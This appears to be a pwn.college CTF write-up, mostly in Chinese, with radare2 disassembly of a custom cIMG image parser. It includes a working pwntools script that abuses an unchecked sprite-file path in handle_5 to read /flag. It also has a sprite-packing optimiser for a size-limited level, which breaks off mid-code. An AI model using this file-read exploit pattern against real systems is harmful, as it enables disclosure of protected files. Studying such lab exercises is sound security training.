│ 0x00401a81 488d0db906.. lea rcx, str.ERROR:_Failed_to_read_sprite_load_record_ ; 0x402141 ; "ERROR: Failed to read &sprite_load_record!" ; int64_t arg4
│ 0x00401a88 e889faffff call sym.read_exact
│ 0x00401a8d 668b542406 mov dx, word [var_6h]
│ 0x00401a92 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401a97 31f6 xor esi, esi ; int oflag
│ 0x00401a99 488d7c2408 lea rdi, [path] ; const char *path
│ 0x00401a9e 86f2 xchg dl, dh
│ 0x00401aa0 48c1e004 shl rax, 4
│ 0x00401aa4 664189540418 mov word [r12 + rax + 0x18], dx
│ 0x00401aaa 31c0 xor eax, eax
│ 0x00401aac e86ff7ffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x00401ab1 85c0 test eax, eax
│ ┌─< 0x00401ab3 7915 jns 0x401aca
│ │ 0x00401ab5 488b35e472.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ │ ; [0x408da0:8]=0 ; FILE *stream
│ │ 0x00401abc 488d3da906.. lea rdi, str.ERROR:_failed_to_open_sprite_file_n ; 0x40216c ; "ERROR: failed to open sprite file\n" ; const char *s
│ │ 0x00401ac3 e8d8f6ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ┌──< 0x00401ac8 eb45 jmp 0x401b0f
│ ││ ; CODE XREF from sym.handle_5 @ 0x401ab3(x)
│ │└─> 0x00401aca 89c5 mov ebp, eax
│ │ 0x00401acc 0fb6442405 movzx eax, byte [var_5h]
│ │ 0x00401ad1 48c1e004 shl rax, 4
│ │ 0x00401ad5 4a8b7c2020 mov rdi, qword [rax + r12 + 0x20]
│ │ 0x00401ada 4885ff test rdi, rdi
│ │┌─< 0x00401add 7405 je 0x401ae4
│ ││ 0x00401adf e86cf6ffff call sym.imp.free ; void free(void *ptr)
│ ││ ; CODE XREF from sym.handle_5 @ 0x401add(x)
│ │└─> 0x00401ae4 440fb66c2406 movzx r13d, byte [var_6h]
│ │ 0x00401aea 0fb6542407 movzx edx, byte [var_7h]
│ │ 0x00401aef 440fafea imul r13d, edx
│ │ 0x00401af3 4963fd movsxd rdi, r13d ; size_t size
│ │ 0x00401af6 e8f5f6ffff call sym.imp.malloc ; void *malloc(size_t size)
│ │ 0x00401afb 4889c3 mov rbx, rax
│ │ 0x00401afe 4885c0 test rax, rax
│ │┌─< 0x00401b01 7514 jne 0x401b17
│ ││ 0x00401b03 488d3dfa04.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ ││ 0x00401b0a e851f6ffff call sym.imp.puts ; int puts(const char *s)
│ ││ ; CODE XREFS from sym.handle_5 @ 0x401ac8(x), 0x401b6c(x)
│ ┌└──> 0x00401b0f 83cfff or edi, 0xffffffff ; -1
│ ╎ │ 0x00401b12 e819f7ffff call sym.imp.exit ; void exit(int status)
│ ╎ │ ; CODE XREF from sym.handle_5 @ 0x401b01(x)
│ ╎ └─> 0x00401b17 4489ea mov edx, r13d ; size_t nbyte
│ ╎ 0x00401b1a 4889c6 mov rsi, rax ; void *buf
│ ╎ 0x00401b1d 4183c8ff or r8d, 0xffffffff ; -1
│ ╎ 0x00401b21 89ef mov edi, ebp ; int fildes
│ ╎ 0x00401b23 488d0d0f05.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ ╎ 0x00401b2a e8e7f9ffff call sym.read_exact
│ ╎ 0x00401b2f 0fb6442407 movzx eax, byte [var_7h]
│ ╎ 0x00401b34 0fb6542406 movzx edx, byte [var_6h]
│ ╎ 0x00401b39 0fafd0 imul edx, eax
│ ╎ 0x00401b3c 31c0 xor eax, eax
│ ╎ ; CODE XREF from sym.handle_5 @ 0x401b50(x)
│ ╎ ┌─> 0x00401b3e 39c2 cmp edx, eax
│ ╎┌──< 0x00401b40 7e2c jle 0x401b6e
│ ╎│╎ 0x00401b42 0fb60c03 movzx ecx, byte [rbx + rax]
│ ╎│╎ 0x00401b46 48ffc0 inc rax
│ ╎│╎ 0x00401b49 8d71e0 lea esi, [rcx - 0x20]
│ ╎│╎ 0x00401b4c 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ╎│└─< 0x00401b50 76ec jbe 0x401b3e
│ ╎│ 0x00401b52 488b3d4772.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ╎│ ; [0x408da0:8]=0
│ ╎│ 0x00401b59 488d15f504.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ╎│ ; 0x402055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ╎│ 0x00401b60 be01000000 mov esi, 1
│ ╎│ 0x00401b65 31c0 xor eax, eax
│ ╎│ 0x00401b67 e8d4f6ffff call sym.imp.__fprintf_chk
│ └───< 0x00401b6c eba1 jmp 0x401b0f
│ │ ; CODE XREF from sym.handle_5 @ 0x401b40(x)
│ └──> 0x00401b6e 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401b73 89ef mov edi, ebp ; int fildes
│ 0x00401b75 48c1e004 shl rax, 4
│ 0x00401b79 4a895c2020 mov qword [rax + r12 + 0x20], rbx
│ 0x00401b7e e82df6ffff call sym.imp.close ; int close(int fildes)
│ 0x00401b83 488b842408.. mov rax, qword [canary]
│ 0x00401b8b 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401b94 7405 je 0x401b9b
│ │ 0x00401b96 e8e5f5ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_5 @ 0x401b94(x)
│ └─> 0x00401b9b 4881c41801.. add rsp, 0x118
│ 0x00401ba2 5b pop rbx
│ 0x00401ba3 5d pop rbp
│ 0x00401ba4 415c pop r12
│ 0x00401ba6 415d pop r13
└ 0x00401ba8 c3 ret

任意文件读取漏洞 (Arbitrary File Read / Local File Inclusion) in handle_5

1
2
0x00401a4d  mov edx, 0x102       ; 准备读取 258 字节
0x00401a88 call sym.read_exact ; 从标准输入读取 Payload

它读取了 258 个字节的 sprite_load_record。通过偏移量分析,它的结构是:

  • ID (1 byte)
  • Width (1 byte)
  • Height (1 byte)
  • Path (255 bytes) 直接把字符串传给了底层的 open(path, 0)
1
2
0x00401b4c  cmp sil, 0x5e        ; 校验字符是否在 0x20 ~ 0x7E 之间
0x00401b50 jbe 0x401b3e ; 如果是,继续循环;否则报错退出

标准读取时,如果读到了换行符 (\n,十六进制 0x0A),程序会抛出 ERROR: Invalid character 并退出。而 /flag 文件的末尾有一个换行符

既然我们知道 read_exact 只有在读到指定长度 (Width * Height) 时才会返回,我们只需要让 Width 等于 Flag 字符串的长度(不包含换行符)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import re
import struct
from pwn import *

def exploit():
binary_path = "/challenge/cimg"

flag_len = 59 # known flag length
payload = bytearray()

# 1. Header: Version 4, 画布大小 100x1, 2 个指令
payload += struct.pack("<4sHBBI", b"cIMG", 4, 100, 1, 2)

# 2. Directive 1 -> handle_5: 任意文件加载
payload += struct.pack("<H", 5) # Opcode 5
payload += struct.pack("<BBB", 1, flag_len, 1) # ID=1, Width=flag_len, Height=1
path = b"/flag".ljust(255, b"\x00") # 恶意路径,Null截断
payload += path

# 3. Directive 2 -> handle_4: 渲染到屏幕
# 参数: Opcode(4), ID(1), R(255), G(255), B(255), X(0), Y(0), RepeatX(1), RepeatY(1), Trans(0)
payload += struct.pack("<HBBBBBBBBB", 4, 1, 255, 255, 255, 0, 0, 1, 1, 0)

file_name = "exploit_payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
# 执行二进制
p = process([binary_path, file_name])
out = p.recvall(timeout=1).decode(errors="ignore")

if "ERROR" not in out:
# 用正则剥离 ANSI 颜色
clean_text = re.sub(r"\x1b\[.*?m", "", out)

if "pwn.college" in clean_text:
print(f"\n[+] Success Flag length: {flag_len}")
print(f"[*] Raw Flag: {clean_text.strip()}")
return
except Exception:
pass

print("[-] Exploit failed.")

if __name__ == "__main__":
exploit()

This level explores trade-offs between adding just a bit of complexity to a software feature (in this case, the cIMG sprite functionality) and its resulting functionality improvement (making the cIMG file smaller!). We might be getting close to optimal cIMG sizes here, and /challenge/cimg will be very demanding!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 285) won = 0;

if (won) win();

r2 -A -q -c “pdf @ sym.handle_3; pdf @ sym.handle_4” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
            ; CALL XREF from main @ 0x40143e(x)
┌ 337: sym.handle_3 (int64_t arg1, int64_t arg5, int64_t arg6);
│ `- args(rdi, r8, r9) vars(4:sp[0x20..0x23])
# pass
; CALL XREF from main @ 0x40142a(x)
┌ 603: sym.handle_4 (int64_t arg1, int64_t arg5, int64_t arg6);
│ `- args(rdi, r8, r9) vars(16:sp[0x1056..0x1078])
│ 0x00401c32 f30f1efa endbr64
│ 0x00401c36 4157 push r15
│ 0x00401c38 4156 push r14
│ 0x00401c3a 4155 push r13
│ 0x00401c3c 4154 push r12
│ 0x00401c3e 55 push rbp
│ 0x00401c3f 53 push rbx
│ 0x00401c40 4c8d9c2400.. lea r11, [rsp - 0x40000]
│ ; CODE XREF from sym.handle_4 @ 0x401c56(x)
│ ┌─> 0x00401c48 4881ec0010.. sub rsp, 0x1000
│ ╎ 0x00401c4f 830c2400 or dword [rsp], 0
│ ╎ 0x00401c53 4c39dc cmp rsp, r11
│ └─< 0x00401c56 75f0 jne 0x401c48
│ 0x00401c58 4883ec48 sub rsp, 0x48
│ 0x00401c5c 488d0dad15.. lea rcx, str.ERROR:_Failed_to_read_sprite_render_record_ ; 0x403210 ; "ERROR: Failed to read &sprite_render_record!" ; int64_t arg4
│ 0x00401c63 ba09000000 mov edx, 9 ; size_t nbyte
│ 0x00401c68 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401c6c 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401c75 4889842438.. mov qword [rsp + 0x40038], rax ; [0x40038:8]=-1
│ 0x00401c7d 31c0 xor eax, eax
│ 0x00401c7f 4889fb mov rbx, rdi ; arg1
│ 0x00401c82 488d742416 lea rsi, [var_16h] ; void *buf
│ 0x00401c87 31ff xor edi, edi ; int fildes
│ 0x00401c89 e86dfaffff call sym.read_exact
│ 0x00401c8e 488d7c241f lea rdi, [var_1fh]
│ 0x00401c93 b900000100 mov ecx, 0x10000
│ 0x00401c98 31c0 xor eax, eax
│ 0x00401c9a 0fb6542416 movzx edx, byte [var_16h]
│ 0x00401c9f 448a542417 mov r10b, byte [var_17h]
│ 0x00401ca4 488d74241f lea rsi, [var_1fh]
│ 0x00401ca9 f3ab rep stosd dword [rdi], eax
│ 0x00401cab 448a5c2418 mov r11b, byte [var_18h]
│ 0x00401cb0 408a6c2419 mov bpl, byte [var_19h]
│ 0x00401cb5 48c1e204 shl rdx, 4
│ 0x00401cb9 4801da add rdx, rbx
│ 0x00401cbc 440fb66218 movzx r12d, byte [rdx + 0x18]
│ ; CODE XREF from sym.handle_4 @ 0x401d1c(x)
│ ┌─> 0x00401cc1 4139cc cmp r12d, ecx
│ ┌──< 0x00401cc4 7e58 jle 0x401d1e
│ │╎ 0x00401cc6 440fb64219 movzx r8d, byte [rdx + 0x19]
│ │╎ 0x00401ccb 31ff xor edi, edi
│ │╎ 0x00401ccd 4489c0 mov eax, r8d
│ │╎ 0x00401cd0 0fafc1 imul eax, ecx
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401d18(x)
│ ┌───> 0x00401cd3 4139f8 cmp r8d, edi
│ ┌────< 0x00401cd6 7e42 jle 0x401d1a
│ │╎│╎ 0x00401cd8 4c8b4a20 mov r9, qword [rdx + 0x20]
│ │╎│╎ 0x00401cdc 44881486 mov byte [rsi + rax*4], r10b
│ │╎│╎ 0x00401ce0 44885c8601 mov byte [rsi + rax*4 + 1], r11b
│ │╎│╎ 0x00401ce5 40886c8602 mov byte [rsi + rax*4 + 2], bpl
│ │╎│╎ 0x00401cea 4d85c9 test r9, r9
│ ┌─────< 0x00401ced 751b jne 0x401d0a
│ ││╎│╎ 0x00401cef 488b356ade.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││╎│╎ ; [0x40fb60:8]=0 ; FILE *stream
│ ││╎│╎ 0x00401cf6 488d3d4015.. lea rdi, str.ERROR:_attempted_to_render_uninitialized_sprite__n ; 0x40323d ; "ERROR: attempted to render uninitialized sprite!\n" ; const char *s
│ ││╎│╎ 0x00401cfd e8def4ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ││╎│╎ 0x00401d02 83cfff or edi, 0xffffffff ; -1
│ ││╎│╎ 0x00401d05 e876f5ffff call sym.imp.exit ; void exit(int status)
│ ││╎│╎ ; CODE XREF from sym.handle_4 @ 0x401ced(x)
│ └─────> 0x00401d0a 458a0c01 mov r9b, byte [r9 + rax]
│ │╎│╎ 0x00401d0e ffc7 inc edi
│ │╎│╎ 0x00401d10 44884c8603 mov byte [rsi + rax*4 + 3], r9b
│ │╎│╎ 0x00401d15 48ffc0 inc rax
│ │└───< 0x00401d18 ebb9 jmp 0x401cd3
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401cd6(x)
│ └────> 0x00401d1a ffc1 inc ecx
│ │└─< 0x00401d1c eba3 jmp 0x401cc1
│ │ ; CODE XREF from sym.handle_4 @ 0x401cc4(x)
│ └──> 0x00401d1e 4531ff xor r15d, r15d
│ 0x00401d21 488dbc241f.. lea rdi, [rsp + 0x4001f]
│ ; CODE XREF from sym.handle_4 @ 0x401e5e(x)
│ ┌─> 0x00401d29 0fb644241d movzx eax, byte [var_1dh]
│ ╎ 0x00401d2e 4439f8 cmp eax, r15d
│ ┌──< 0x00401d31 0f8e2c010000 jle 0x401e63
│ │╎ 0x00401d37 4531d2 xor r10d, r10d
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401e56(x)
│ ┌───> 0x00401d3a 0fb644241c movzx eax, byte [var_1ch]
│ ╎│╎ 0x00401d3f 4439d0 cmp eax, r10d
│ ┌────< 0x00401d42 0f8e13010000 jle 0x401e5b
│ │╎│╎ 0x00401d48 0fb6542416 movzx edx, byte [var_16h]
│ │╎│╎ 0x00401d4d 4531db xor r11d, r11d
│ │╎│╎ 0x00401d50 48c1e204 shl rdx, 4
│ │╎│╎ 0x00401d54 4801da add rdx, rbx
│ │╎│╎ 0x00401d57 8a4219 mov al, byte [rdx + 0x19]
│ │╎│╎ 0x00401d5a 410fafc2 imul eax, r10d
│ │╎│╎ 0x00401d5e 0244241a add al, byte [var_1ah]
│ │╎│╎ 0x00401d62 440fb6e0 movzx r12d, al
│ │╎│╎ 0x00401d66 8a4218 mov al, byte [rdx + 0x18]
│ │╎│╎ 0x00401d69 410fafc7 imul eax, r15d
│ │╎│╎ 0x00401d6d 0244241b add al, byte [var_1bh]
│ │╎│╎ 0x00401d71 0fb6e8 movzx ebp, al
│ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e4e(x)
│ ┌─────> 0x00401d74 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎ 0x00401d79 48c1e004 shl rax, 4
│ ╎│╎│╎ 0x00401d7d 0fb6441818 movzx eax, byte [rax + rbx + 0x18]
│ ╎│╎│╎ 0x00401d82 4439d8 cmp eax, r11d
│ ┌──────< 0x00401d85 0f8ec8000000 jle 0x401e53
│ │╎│╎│╎ 0x00401d8b 4531ed xor r13d, r13d
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e44(x)
│ ┌───────> 0x00401d8e 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎│╎ 0x00401d93 48c1e004 shl rax, 4
│ ╎│╎│╎│╎ 0x00401d97 0fb6441819 movzx eax, byte [rax + rbx + 0x19]
│ ╎│╎│╎│╎ 0x00401d9c 4439e8 cmp eax, r13d
│ ────────< 0x00401d9f 0f8ea4000000 jle 0x401e49
│ ╎│╎│╎│╎ 0x00401da5 410fafc3 imul eax, r11d
│ ╎│╎│╎│╎ 0x00401da9 4401e8 add eax, r13d
│ ╎│╎│╎│╎ 0x00401dac 4898 cdqe
│ ╎│╎│╎│╎ 0x00401dae 0fb6548422 movzx edx, byte [rsp + rax*4 + 0x22]
│ ╎│╎│╎│╎ 0x00401db3 3a54241e cmp dl, byte [var_1eh]
│ ────────< 0x00401db7 0f8484000000 je 0x401e41
│ ╎│╎│╎│╎ 0x00401dbd 44895c240c mov dword [var_ch], r11d
│ ╎│╎│╎│╎ 0x00401dc2 be19000000 mov esi, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401dc7 440fb67306 movzx r14d, byte [rbx + 6]
│ ╎│╎│╎│╎ 0x00401dcc 4c8d058313.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x403156
│ ╎│╎│╎│╎ 0x00401dd3 4489542408 mov dword [var_8h], r10d
│ ╎│╎│╎│╎ 0x00401dd8 51 push rcx
│ ╎│╎│╎│╎ 0x00401dd9 b919000000 mov ecx, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401dde 52 push rdx
│ ╎│╎│╎│╎ 0x00401ddf 0fb6548431 movzx edx, byte [rsp + rax*4 + 0x31]
│ ╎│╎│╎│╎ 0x00401de4 52 push rdx
│ ╎│╎│╎│╎ 0x00401de5 0fb6548438 movzx edx, byte [rsp + rax*4 + 0x38]
│ ╎│╎│╎│╎ 0x00401dea 52 push rdx
│ ╎│╎│╎│╎ 0x00401deb 440fb64c843f movzx r9d, byte [rsp + rax*4 + 0x3f]
│ ╎│╎│╎│╎ 0x00401df1 ba01000000 mov edx, 1
│ ╎│╎│╎│╎ 0x00401df6 31c0 xor eax, eax
│ ╎│╎│╎│╎ 0x00401df8 48897c2420 mov qword [var_20h], rdi
│ ╎│╎│╎│╎ 0x00401dfd e86ef3ffff call sym.imp.__snprintf_chk
│ ╎│╎│╎│╎ 0x00401e02 438d442500 lea eax, [r13 + r12]
│ ╎│╎│╎│╎ 0x00401e07 488b7c2420 mov rdi, qword [var_20h]
│ ╎│╎│╎│╎ 0x00401e0c 448b5c242c mov r11d, dword [var_ch]
│ ╎│╎│╎│╎ 0x00401e11 99 cdq
│ ╎│╎│╎│╎ 0x00401e12 448b542428 mov r10d, dword [var_8h]
│ ╎│╎│╎│╎ 0x00401e17 4883c420 add rsp, 0x20
│ ╎│╎│╎│╎ 0x00401e1b 41f7fe idiv r14d
│ ╎│╎│╎│╎ 0x00401e1e 0f1007 movups xmm0, xmmword [rdi]
│ ╎│╎│╎│╎ 0x00401e21 440faff5 imul r14d, ebp
│ ╎│╎│╎│╎ 0x00401e25 428d0432 lea eax, [rdx + r14]
│ ╎│╎│╎│╎ 0x00401e29 31d2 xor edx, edx
│ ╎│╎│╎│╎ 0x00401e2b f7730c div dword [rbx + 0xc]
│ ╎│╎│╎│╎ 0x00401e2e 486bd218 imul rdx, rdx, 0x18
│ ╎│╎│╎│╎ 0x00401e32 48035310 add rdx, qword [rbx + 0x10]
│ ╎│╎│╎│╎ 0x00401e36 0f1102 movups xmmword [rdx], xmm0
│ ╎│╎│╎│╎ 0x00401e39 488b4710 mov rax, qword [rdi + 0x10]
│ ╎│╎│╎│╎ 0x00401e3d 48894210 mov qword [rdx + 0x10], rax
│ ╎│╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401db7(x)
│ ────────> 0x00401e41 41ffc5 inc r13d
│ └───────< 0x00401e44 e945ffffff jmp 0x401d8e
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401d9f(x)
│ ────────> 0x00401e49 41ffc3 inc r11d
│ │╎│╎│╎ 0x00401e4c ffc5 inc ebp
│ │└─────< 0x00401e4e e921ffffff jmp 0x401d74
│ │ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401d85(x)
│ └──────> 0x00401e53 41ffc2 inc r10d
│ │└───< 0x00401e56 e9dffeffff jmp 0x401d3a
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401d42(x)
│ └────> 0x00401e5b 41ffc7 inc r15d
│ │└─< 0x00401e5e e9c6feffff jmp 0x401d29
│ │ ; CODE XREF from sym.handle_4 @ 0x401d31(x)
│ └──> 0x00401e63 488b842438.. mov rax, qword [rsp + 0x40038]
│ 0x00401e6b 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401e74 7405 je 0x401e7b
│ │ 0x00401e76 e845f3ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_4 @ 0x401e74(x)
│ └─> 0x00401e7b 4881c44800.. add rsp, 0x40048
│ 0x00401e82 5b pop rbx
│ 0x00401e83 5d pop rbp
│ 0x00401e84 415c pop r12
│ 0x00401e86 415d pop r13
│ 0x00401e88 415e pop r14
│ 0x00401e8a 415f pop r15
└ 0x00401e8c c3 ret

in handle_4

平铺 (Tiling/Repeat)色键透明 (Chroma Key / Transparency)

  1. 参数结构handle_4 现在会读取 9 个字节(0x401c63: mov edx, 9),加上 2 字节的 Opcode,单次渲染指令变成了 11 字节。 [Opcode (2)] [ID] [R] [G] [B] [Base_X] [Base_Y] [Repeat_X] [Repeat_Y] [Trans_Char]
  2. 平铺: 外层多了两个循环:r10d 遍历到 Repeat_X - 1r15d 遍历到 Repeat_Y - 1。只注册一个 1x1 的基础 Sprite(比如字符 -|),然后仅用一条指令,铺满屏幕边框。
  3. 透明通道 (Transparency)
1
2
3
0x00401dae  movzx edx, byte [rsp + rax*4 + 0x22]  ; 取出 Sprite 当前像素的字符
0x00401db3 cmp dl, byte [var_1eh] ; 和 Trans_Char 比较
0x00401db7 je 0x401e41 ; 如果相等,直接跳过渲染

这意味着我们可以把中间的 figlet 字符画整体打包成一个或几个大型的矩形 Sprite,并把透明字符设为空格 (32)。渲染时,它会自动忽略所有空格。

  • 对于纯色的填充色块/线条:直接提取为 1x1 的 Solid Sprite,利用 Repeat_XRepeat_Y 无限延伸。
  • 对于不规则的 ASCII Art:利用背景镂空特性,提取为 Transparent Sprite,空格直接当作透明度丢弃。
  • **关于换行符 :校验器不查颜色,我们让它们染成同一颜色被识别为一个的纯色垂直边框。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
import struct
from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except KeyError:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except ValueError:
pixels.append((0, 0, 0, 32))
return pixels

def build_payload():
binary_path = "/challenge/cimg"
width = 76
height = 24
num_pixels = width * height

log.info("Fetching raw pixel data from upstream...")
pixels = extract_pixels_from_elf(binary_path, num_pixels)

fg_pixels = []
for y in range(height):
for x in range(width):
p = pixels[y * width + x]
if p[3] not in (32, 10):
fg_pixels.append({
'x': x, 'y': y,
'r': p[0], 'g': p[1], 'b': p[2], 'c': p[3]
})
elif p[3] == 10: # 换行符
fg_pixels.append({
'x': x, 'y': y,
'r': 255, 'g': 255, 'b': 255, 'c': 10
})

memo = {}
def solve(min_x, max_x, min_y, max_y):
state = (min_x, max_x, min_y, max_y)
if state in memo: return memo[state]

subset = [p for p in fg_pixels if min_x <= p['x'] <= max_x and min_y <= p['y'] <= max_y]
if not subset: return 0, []

bx = min(p['x'] for p in subset)
by = min(p['y'] for p in subset)
b_w = max(p['x'] for p in subset) - bx + 1
b_h = max(p['y'] for p in subset) - by + 1

colors = set((p['r'], p['g'], p['b']) for p in subset)

best_cost = float('inf')
best_blocks = []

# 只要区域内颜色单一,就可以作为一个 Render Directive
if len(colors) == 1:
chars = set(p['c'] for p in subset)
# 检查是否是完美的“纯色单一字符”矩阵(例如连串的 '-' 或 '|' 或 '\n')
is_solid = len(subset) == b_w * b_h and len(chars) == 1
if is_solid:
best_cost = 17 # 5(注册1x1) + 1(数据) + 11(渲染并Tiling)
best_blocks = [{
'type': 'solid',
'x': bx, 'y': by, 'w': b_w, 'h': b_h,
'r': subset[0]['r'], 'g': subset[0]['g'], 'b': subset[0]['b'],
'c': subset[0]['c'],
'subset': subset
}]
else:
best_cost = 16 + b_w * b_h # 5(注册) + w*h(数据) + 11(镂空渲染)
best_blocks = [{
'type': 'transparent',
'x': bx, 'y': by, 'w': b_w, 'h': b_h,
'r': subset[0]['r'], 'g': subset[0]['g'], 'b': subset[0]['b'],
'subset': subset
}]

# 递归寻找最优切割
xs = sorted(list(set(p['x'] for p in subset)))
for split_x in xs[1:]:
c1, blks1 = solve(bx, split_x - 1, by, by + b_h - 1)
c2, blks2 = solve(split_x, bx + b_w - 1, by, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

ys = sorted(list(set(p['y'] for p in subset)))
for split_y in ys[1:]:
c1, blks1 = solve(bx, bx + b_w - 1, by, split_y - 1)
c2, blks2 = solve(bx, bx + b_w - 1, split_y, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

memo[state] = (best_cost, best_blocks)
return best_cost, best_blocks

log.info("Optimizing via 2D BSP with hardware Tiling and Chroma Key...")
_, blocks = solve(0, width - 1, 0, height - 1)

sprites = {}
renders = []

for blk in blocks:
if blk['type'] == 'solid':
text = bytes([blk['c']])
bw, bh = 1, 1
rx, ry = blk['w'], blk['h'] # 启用 Tiling
trans = 0
else:
text_arr = bytearray()
for y in range(blk['h']):
for x in range(blk['w']):
found = False
for p in blk['subset']:
if p['x'] == blk['x'] + x and p['y'] == blk['y'] + y:
text_arr.append(p['c'])
found = True
break
if not found:
text_arr.append(32) # 空格占位
text = bytes(text_arr)
bw, bh = blk['w'], blk['h']
rx, ry = 1, 1
trans = 32 # 启用 Chroma Key 透明度

sp_key = (text, bw, bh)
if sp_key not in sprites:
sprites[sp_key] = len(sprites)

renders.append({
'id': sprites[sp_key],
'x': blk['x'], 'y': blk['y'],
'r': blk['r'], 'g': blk['g'], 'b': blk['b'],
